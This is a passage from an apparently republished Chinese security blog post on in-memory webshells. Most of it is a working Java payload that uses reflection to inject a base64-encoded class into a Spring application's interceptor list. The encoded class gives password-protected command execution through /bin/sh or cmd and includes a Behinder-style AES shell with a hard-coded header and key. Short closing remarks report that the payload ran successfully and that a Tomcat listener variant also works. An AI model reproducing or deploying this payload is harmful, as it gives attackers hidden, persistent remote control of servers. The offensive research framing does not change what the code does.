static String b64 = "yv66vgAAADQBSAoAZQCFCACGCQBkAIcIAIgJAGQAiQgAigkAZACLCgBkAIwJAI0AjggAjwoAkACRCACSCwCTAJQIAJUKABMAlgoAEwCXCQCYAJkIAJoHAJsIAJwIAJ0IAJ4IAJ8HAKAKAKEAogoAoQCjCgCkAKUKABgApggApwoAGACoCgAYAKkLAKoAqwoArACRCwCTAK0LAJMArggArwgAsAsAkwCxBwCyCgAnAIUIALMKACcAtAgAtQgAtggAtwsAuAC5CAC6CgC7ALwHAL0HAL4KADIAhQsAuAC/CgAyAMAIAMEKADIAwgoAMgDDCgATAMQKADEAxQoAuwDGBwDHCgA8AIULAJMAyAoAyQDKCgA8AMsKALsAzAgAzQoARQDOCADPBwDQBwDRCQDSANMKAEUA1AoA1QDWCgBMANcKAEUA2AcA2QoA0gDaCgDVANsKAEUA3AoATACWCADdBwDeCgBSAN8KAOAA4QoA4ADiCADjCgBbAOQJAGQA5QcA5ggA5wcA6AcA6QoAXADfBwDqCgBeAN8HAOsKAGAA3wcA7AoAYgDfBwDtBwDuAQASbXlDbGFzc0xvYWRlckNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBABBiYXNpY0NtZFNoZWxsUHdkAQASTGphdmEvbGFuZy9TdHJpbmc7AQATYmVoaW5kZXJTaGVsbEhlYWRlcgEAEGJlaGluZGVyU2hlbGxQd2QBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAJsHAO8HAPAHAN4BAApFeGNlcHRpb25zAQAKaW5pdGlhbGl6ZQcA7QcA6AcA5gcA8QcA6QcA6gcA6wcA7AEAClNvdXJjZUZpbGUBAB9EeW5hbWljSW50ZXJjZXB0b3JUZW1wbGF0ZS5qYXZhAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsMAGwAbQEABHBhc3MMAGgAaQEADFgtT3B0aW9ucy1BaQwAagBpAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAawBpDAB4AG0HAPIMAPMA9AEAIlsrXSBEeW5hbWljIEludGVyY2VwdG9yIHNheXMgaGVsbG8HAPUMAPYA9wEABHR5cGUHAPgMAPkA+gEABWJhc2ljDAD7APwMAP0A/gcA/wwBAABpAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAANjbWQBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEBDAECAQMMAQQBBQcBBgwBBwEIDABsAQkBAAJcQQwBCgELDAEMAQ0HAQ4MAQ8BEAcBEQwBEgD6DAETAQ0BAARQT1NUAQAGUWl1UUl1DAEUARUBABFqYXZhL3V0aWwvSGFzaE1hcAEAB3JlcXVlc3QMARYBFwEACHJlc3BvbnNlAQAHc2Vzc2lvbgEAAXUHARgMARkBGgEAA0FFUwcA7wwBGwEcAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEdAR4MAR8BIAEAAAwBHwEhDAEiAQ0MASMBJAwAbAElDAEmAScBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEoASkHASoMASsBDQwBLAEtDAEuAS8BABVqYXZhLmxhbmcuQ2xhc3NMb2FkZXIMATABMQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQACW0IHATIMATMAZwwBNAE1BwDxDAE2ATcMATgBOQwBOgE7AQAQamF2YS9sYW5nL09iamVjdAwBPAE9DAE+AT8MAUABQQEAB1FpdVlZRFMBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFCAG0HAUMMAUQBRQwBRgE7AQAnY29tLmZlaWhvbmcubGRhcC50ZW1wbGF0ZS5NeUNsYXNzTG9hZGVyDAFHATEMAGYAZwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQMceXY2NnZnQUFBRElBR3dvQUJRQVdCd0FYQ2dBQ0FCWUtBQUlBR0FjQUdRRUFCanhwYm1sMFBnRUFHaWhNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU95bFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQ2xNWTI5dEwyWmxhV2h2Ym1jdmJHUmhjQzkwWlcxd2JHRjBaUzlOZVVOc1lYTnpURzloWkdWeU93RUFBV01CQUJkTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPd0VBQzJSbFptbHVaVU5zWVhOekFRQXNLRnRDVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZpZVhSbGN3RUFBbHRDQVFBTFkyeGhjM05NYjJGa1pYSUJBQXBUYjNWeVkyVkdhV3hsQVFBU1RYbERiR0Z6YzB4dllXUmxjaTVxWVhaaERBQUdBQWNCQUNkamIyMHZabVZwYUc5dVp5OXNaR0Z3TDNSbGJYQnNZWFJsTDAxNVEyeGhjM05NYjJGa1pYSU1BQThBR2dFQUZXcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjZ0VBRnloYlFrbEpLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBQ0VBQWdBRkFBQUFBQUFDQUFBQUJnQUhBQUVBQ0FBQUFEb0FBZ0FDQUFBQUJpb3J0d0FCc1FBQUFBSUFDUUFBQUFZQUFRQUFBQVFBQ2dBQUFCWUFBZ0FBQUFZQUN3QU1BQUFBQUFBR0FBMEFEZ0FCQUFrQUR3QVFBQUVBQ0FBQUFFUUFCQUFDQUFBQUVMc0FBbGtydHdBREtnTXF2cllBQkxBQUFBQUNBQWtBQUFBR0FBRUFBQUFJQUFvQUFBQVdBQUlBQUFBUUFCRUFFZ0FBQUFBQUVBQVRBQTRBQVFBQkFCUUFBQUFDQUJVPQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAaRHluYW1pY0ludGVyY2VwdG9yVGVtcGxhdGUBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADGdldEF0dHJpYnV0ZQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEACWxvYWRDbGFzcwAhAGQAZQAAAAQAAgBmAGcAAAACAGgAaQAAAAIAagBpAAAAAgBrAGkAAAADAAEAbABtAAEAbgAAAEcAAgABAAAAGyq3AAEqEgK1AAMqEgS1AAUqEga1AAcqtwAIsQAAAAEAbwAAABoABgAAABgABAAUAAoAFQAQABYAFgAZABoAGgABAHAAcQACAG4AAAKHAAcACwAAAcGyAAkSCrYACysSDLkADQIAxgCQKxIMuQANAgASDrYAD5kAgCsqtAADuQANAgA6BBkExgGOGQS2ABCaAYYBOgWyABESErYAD5kAGwa9ABNZAxIUU1kEEhVTWQUZBFM6BqcAGAa9ABNZAxIWU1kEEhdTWQUZBFM6BrsAGFm4ABkZBrYAGrYAG7cAHBIdtgAetgAfOgcsuQAgAQAZB7YAIQOsKyq0AAW5ACICAMYBFSu5ACMBABIktgAPmQD9sgAJEiW2AAsruQAmAQA6BrsAJ1m3ACg6BxkHEikrtgAqVxkHEisstgAqVxkHEiwZBrYAKlcqtAAHOgQZBhItGQS5AC4DABIvuAAwOgUZBQW7ADFZuwAyWbcAMxkGEi25ADQCALYANRI2tgA3tgA4tgA5Ei+3ADq2ADsZBbsAPFm3AD0ruQA+AQC2AD+2AEC2AEE6CBJCuABDEkQGvQBFWQMSRlNZBLIAR1NZBbIAR1O2AEg6CRkJBLYASRkJKrYASrYASwa9AExZAxkIU1kEA7gATVNZBRkIvrgATVO2AE7AAEU6ChkKtgBPGQe2AFBXsgAJElG2AAsDrKcACjoGGQa2AFMErAABAK0BtAG4AFIAAgBvAAAAigAiAAAAHQAIACAAIwAhAC8AIgA8ACMAPwAlAEoAJgBiACgAdwArAJMALACeAC0AoAAvAK0AMQC7ADIAwwAzAMsANADUADUA3QA2AOYANwDwADgA9gA5AQEAOgEIADsBNQA8AU8APQFwAD4BdgA/AaAAQAGrAEEBswBCAbUARgG4AEQBugBFAb8ASQByAAAAHAAG/QBiBwBzBwB0/AAUBwB1+AAo+wEUQgcAdgYAdwAAAAQAAQBSAAIAeABtAAEAbgAAAXgABwAHAAAAlbgAVLYAVUwqKxJWtgBXtQBYpwBrTRJaTrsAPFm3AD0ttgBAOgQBOgUSWxJEBr0ARVkDEkZTWQSyAEdTWQWyAEdTtgBIOgUZBQS2AEkqGQUrBr0ATFkDGQRTWQQDuABNU1kFGQS+uABNU7YATsAARbUAWKcACjoGGQa2AF2nABhMK7YAX6cAEEwrtgBhpwAITCu2AGOxAAUABwARABQAWQAoAHIAdQBcAAAAfAB/AF4AAAB8AIcAYAAAAHwAjwBiAAIAbwAAAF4AFwAAAE4ABwBRABEAXgAUAFIAFQBTABgAVAAlAFUAKABYAEYAWQBMAFoAcgBdAHUAWwB3AFwAfABlAH8AXwCAAGAAhABlAIcAYQCIAGIAjABlAI8AYwCQAGQAlABnAHIAAABFAAf/ABQAAgcAeQcAegABBwB7/wBgAAYHAHkHAHoHAHsHAHMHAEYHAHwAAQcAff8ABgABBwB5AABCBwB+RwcAf0cHAIAEAAIAgQAAAAIAggCDAAAABgABAIQAAA==";
static String clazzName = "DynamicInterceptorTemplate";
static {
try {
Class<?> RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method getWebApplicationContext;
try {
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class);
} catch (NoSuchMethodException e) {
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class);
}
getWebApplicationContext.setAccessible(true);
WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
//从requestMappingHandlerMapping中获取adaptedInterceptors属性 老版本是DefaultAnnotationHandlerMapping
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping;
try {
Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping);
} catch (BeansException e) {
Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping");
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping);
}
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping);
//加载ysoserial.payloads.templates.SpringInterceptorTemplate类的字节码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, clazzName, bytes, 0, bytes.length);
//添加SpringInterceptorTemplate类到adaptedInterceptors
adaptedInterceptors.add(classLoader.loadClass(clazzName).newInstance());
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
成功执行
但是貌似路径只能限制在/3.0/authService/config这里。测试tomcat的listener类型内存马也可以。
参考
https://github.com/bitterzzZZ/MemoryShellLearn
原文始发于微信公众号(小艾搞安全):内存马即学即用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论